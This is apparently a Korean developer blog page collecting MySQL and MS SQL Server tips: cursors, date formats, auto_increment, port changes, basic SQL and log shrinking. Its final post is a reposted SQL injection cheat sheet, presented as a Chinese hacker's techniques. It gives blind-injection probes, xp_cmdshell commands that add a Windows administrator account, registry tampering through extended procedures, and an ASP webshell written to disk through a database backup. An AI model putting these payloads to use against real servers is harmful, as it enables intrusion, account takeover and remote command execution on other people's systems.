저장 프로시저 내에서 Cursor를 사용해야할 때가 가끔 있다...

예>

BEGIN
DECLARE x_done int DEFAULT 0;
DECLARE x_num  int;
DECLARE x_name   varchar(20);
DECLARE cur_TestCursor CURSOR FOR
       SELECT  num, name   FROM MemberInfo;

DECLARE CONTINUE HANDLER FOR NOT FOUND SET x_done = 1;   /* 데이터가 없으면 x_done=1 */
OPEN cur_TestCursor;

   REPEAT
      FETCH NEXT FROM cur_TestCursor INTO x_num, x_name;      /* 변수에 값을 담는다 */

        IF NOT x_done THEN

/* 여기서 수행할 쿼리를 해준다 */

        END IF;

   UNTIL x_done END REPEAT;         /* x_done이 1이 될때까지 반복된다 */
 CLOSE  cur_TestCursor;
END;

반응형

날짜 형식..  "yyyy-mm-dd hh:mi:ss"

MSSQL 에서  

Convert(char(19), GETDATE(), 120)
MYSQL 에서는
CAST( DATE_FORMAT( NOW(),'%Y-%m-%d %H:%i:%s' ) AS CHAR(19) )


날짜 형식..  "yyyymmdd"

MSSQL 에서
Convert(char(8), GETDATE(), 112)


MYSQL 에서는
CAST( DATE_FORMAT( NOW(),'%Y%m%d' ) AS CHAR(8) )


 
반응형

CONST CONNECT_MYSQL_STRING = "Driver={MySQL ODBC 3.51 driver}; Server=127.0.0.1; Database=test;Uid=testuser;Pwd=1234;"

Set connDB = Server.CreateObject("ADODB.Connection")

connDB.Open CONNECT_MYSQL_STRING
connDB.Execute("set names euckr")     <- 요고 해주면 된다.

.
.
.


반응형
MSSQL 에서는 IDENTITY (1,1) 이런식으로 하면 1부터 1씩자동증가한다.

MySQL은 테이블 생성시 auto_increment 을 붙여주면 된다. 단, 반드시 primary key 여야 한다.

예 )
seqno int  not null auto_increment primary key,
또는

seqno int  not null auto_increment,
.
.
primary key(seqno),

만약 임의의 수부터 시작하고 싶다면,

seqno int  not null auto_increment = 임의의수 primary key,

테이블 생성된 후라면,

alter table 테이블명 auto_increment = 임의의수;





반응형

걍 기본 포트(1433)를 사용하는 것은 보안상 취약하다.
조금은 귀찮지만 포트를 변경해서 사용하는 습관을 들이자.

"시작 > 프로그램 > Microsoft SQL Server 2005 > 구성 도구 > SQL Server Configuration Manager"
를 실행한다.


프로그램이 뜨면 좌측에 메뉴중 "SQL Server 2005 네트워크 구성"을 확장하고
하위의 "MSSQLSERVER에 대한 프로토콜"을 선택한다.

오른쪽에 프로토콜목록이 보이면 TCP/IP 를 더블 클릭한다.



TCP/IP 등록 정보 창이 뜨면
IP 주소 탭으로 이동해서
TCP 포트를 수정한다.

MSSQL SERVER 2005 를 재시작한다.

아~ 쉽다.
반응형

1. show databases; 는 데이터베이스들을 보여준다.
     create database 데이터베이스명 ; 은 데이터베이스를 생성한다.
     그러나 실제 mysql 관리자(서버관리자)가 아닌 이상 이 명령어를 사용할 수가 없다.
     호스팅업체에서 대개는 자신의 계정아이디와 동일한 DB하나만 서비스해주기 때문에
     직접 이 명령어를 사용하진 못한다.

사용자 삽입 이미지

2. use 데이터베이스 : 사용할 데이터 베이스를 선택한다. 실제 호스팅인 경우 바로
    바로 데이터베이스 안으로 접속되는 경우가 많다.
    show tables ;  테이블의 목록 출력
     - DB는 테이블 형태로 데이터가 저장된다.

사용자 삽입 이미지

테이블 생성
   create table 테이블 명 ( 컬럼명 데이터형식 널값여부 기타옵션);
  auto_increment 는 자동으로 번호를 증가시켜준다.
  primary key 는 고유값 설정으로 똑같은 값은 절대 받지 않는다는 뜻.

  *** mysql 각종 데이터형들
 tinyint 부호 있는 정수 -128 ~ 127
부호 없는 정수 0 ~255
1 Byte

SMALLINT 부호 있는 정수 -32768 ~ 32767
부호 없는 정수 0 ~65535
2 Byte

MEDIUMINT 부호 있는 정수 -8388608 ~ 8388607
부호 없는 정수 0 ~16777215
3 Byte

INT 또는 INTEGER 부호 있는 정수 -2147483648 ~ 2147483647
부호 없는 정수 0 ~4294967295
4 Byte

BIGINT 부호 있는 정수 -9223372036854775808 ~ 9223372036854775807
부호 없는 정수 0 ~18446744073709551615
8 Byte

FLOAT 단일 정밀도를 가진 부동 소수점
-3.402823466E+38 ~3.402823466E+38

DOUBLE 2 배 정밀도를 가진 부동 소수점
-1.79769313486231517E+308 ~ 1.79769313486231517E+308

DATE 날짜를 표현하는 유형
1000-01-01 ~ 9999-12-31

DATETIME 날짜와 시간을 표현하는 유형
1000-01-01 00:00:00 ~ 9999-12-31 23:59:59

TIMESTAMP 1970-01-01 00:00:00 부터 2037년 까지 표현
4 Byte

TIME 시간을 표현하는 유형
-839:59:59 ~ 838:59:59

YEAR 년도를 표현하는 유형
1901 년 ~ 2155년

CHAR(M) 고정길이 문자열을 표현하는 유형
M = 1 ~255

VARCHAR(M) 가변길이 문자열을 표현하는 유형
M = 1 ~ 255

TINYBLOB
TINYTEXT 255개의 문자를 저장
BLOB : BINARY LARGE OBJECT의 약자

BLOB
TEXT 63535개의 문자를 저장

MEDIUMBLOB
MEDIUMTEXT 16777215개의 문자를 저장

LONGBLOB
LONGTEXT 4294967295(4Giga)개의 문자를 저장


 3. desc 테이블 명 ; 테이블의 각 컬럼 형식 보기

사용자 삽입 이미지



4. 데이터 입력하기
사용자 삽입 이미지

5.한꺼번에 데이터 입력하기

사용자 삽입 이미지


6. no 필드에 값을 입력하지 않아도 자동적으로 증가하는 것을 볼 수 있다.

사용자 삽입 이미지

7. 원하는 필드만 선택할때...

사용자 삽입 이미지

8. 조건으로 검색하기

사용자 삽입 이미지


9. 내림차순 정렬하기

사용자 삽입 이미지

10.오름차순정렬

사용자 삽입 이미지

11. 조건절과 정렬 함께 사용하기

사용자 삽입 이미지

12.데이터 수정하기(조건절이 없으면 전부 바뀐다.)

사용자 삽입 이미지

13. 데이터 삭제(조건이 없으면 전부 삭제된다)

사용자 삽입 이미지

14. 컬럼(필드) 추가해보기

사용자 삽입 이미지

15. 컬럼 삭제해보기

사용자 삽입 이미지

16. 컬럼 수정해보기

사용자 삽입 이미지


17. 테이블 삭제해보기

사용자 삽입 이미지

18. 합계 연습을 위해 임시 테이블 만들었음

사용자 삽입 이미지

19. 필드의 최대, 최소, 평균, 합계구해보기
    as 임시필드명 해주면 임시로 필드명이 생성된다.

사용자 삽입 이미지

20. 필드의 총 개수 구해보기

사용자 삽입 이미지

21. 한꺼번에 최대값과 합산값, 평균구하기.
     between 으로 범위값 내에 있는 필드 구하기
    in 으로 지정한 필드만 뽑아내기

사용자 삽입 이미지

22. not in 은 그것을 제외한 필드를 구한다.
     %는 like 와 함께 쓰이며 '%강%'은 강을 기준으로 강을 포함한 앞뒤문자검색을 해준다.

사용자 삽입 이미지

23. a 이후에 문자열 검색
     b 이전에 문자열 검색

사용자 삽입 이미지

24. limit는 레코드 처음부터 2개만 뽑아온다. 범위와 함께 쓰일 수도 있다.

사용자 삽입 이미지

25. limit 시작레코드번호, 뽑아올 레코드 갯수

사용자 삽입 이미지

26. 컬럼명 바꾸기(컬럼명을 바꿀땐 데이터도 같이 바꿔줘야 한다.)
     테이블 명 바꾸기....(아래참고)


사용자 삽입 이미지

27. 날짜형 데이터넣기
     now() 함수는 날짜를 가지고 있는 내장합수인데 선언한 데이터형에 따라 들어가는 값이
     아래처럼 다르게 들어간다.

사용자 삽입 이미지


출처 : http://harogipro.tistory.com/57
반응형
허걱~ 로그파일이 20 기가로 자라버렸다.
당장 없애버려야지...

sp_helpdb [데이터베이스명]

해서 로그 파일 이름을 알아낸다.

Backup Log [데이터베이스명] WITH Truncate_only

로그를 잘라낸다. 이걸 하지 않으면 다음 dbcc shrinkfile 명령이 안된다. 꼭 해야한다.
난 요고 안하고 바로 dbcc shrinkfile 명령했다...
1시간 동안 삽질했다.

DBCC SHRINKFILE ([위에서 알아낸 로그파일 이름], [줄일 용량 (MB)] )

이제 로그가 줄었다.

처음 데이터베이스를 생성할때 로그파일을 제한해두면 이런 귀찮은 짓거리를 안해도 된다.

.. 헉 처음 데이터베이스 생성할때 로그파일을 제한해 두니까.. 제한한 용량만큼 로그파일이 커지고 나면 ..
로그가 꽉 찾다고 에러가 발생한다. 헉... 제한해두면 제한한 용량 내에서 자동으로 이전 것부터 지우는 줄 알았는데...  그것이 아니었다. 흠... 속았다... 따라서 처음 부터 제한해 두면 금방 로그가 차서 에러를 양산할 수 있다.  


//// MSSQL 2008  위 명령어가 안된다.
// 트랜잭션 로그 파일 줄이는 방법은 ...

-- 트랜잭션로그를 사용하지 않는 모드로 변경후
alter database [데이터베이스명] set recovery simple with no_wait

-- 로그를 1MB로 잘라내고
DBCC SHRINKFILE ([로그파일이름], 1)

-- 원상태로
alter database [데이터베이스명] set recovery full with no_wait
반응형

CID (COLLATION : KOREAN_WANSUNG_CI_AS) = 대소문자 구분안함
CID (COLLATION : KOREAN_WANSUNG_CS_AS) = 대소문자 구분함

예>
SELECT * FROM TAB_USERINFO
  WHERE USERID COLLATE KOREAN_WANSUNG_CS_AS = 'SuperMan'


반응형

 

1. 다음과 같은 조건식을 삽입한다.
;and 1=1
;and 1=2 
;and user>0

2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

3. where 조건식을 넣어 본다.
'and ''=' 
'and  '%25'='


4. select 구문을 사용한다.
;and (Select Count(*) from [테이블명])>0 --
;and (select top 1 len(열수) from 테이블명)>0


5. 컬럼명 추출
(1) Access 경우 :  and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0 

(2) Mssql의 경우 :  and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0

6. 데이터베이스 권한

;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
;and 1=(SELECT IS_MEMBER('db_owner'));-- 


7. 스토어프로시저를 이용한 계정 추가하기  
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

8. dir 결과쿼리하기 
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:' 
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)


9. 디렉터리 정보 추출하기 및 웹쉘 실행  
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
;insert temp exec master.dbo.xp_availablemedia;-- 
;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--


10. 확장스토어 프로시저 공격

xp_regenumvalues 
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'  

xp_regread  
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'  

xp_regwrite  
;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

xp_regdeletevalue
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'


10.mssql의 backup용 webshell 생성하기
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:l.asp';

11.버전확인하기
;and (select @@version)>0 
;and user_name()='dbo'
;and (select user_name())>0 
;and (select db_name())>0 


12.webshell
use model 
create table cmd(str image);
insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:wwwtestl.asp'; 




[출처] [mssql] 중국해커의 MS SQL 인젝션 해킹기법|작성자 weespk

반응형

+ Recent posts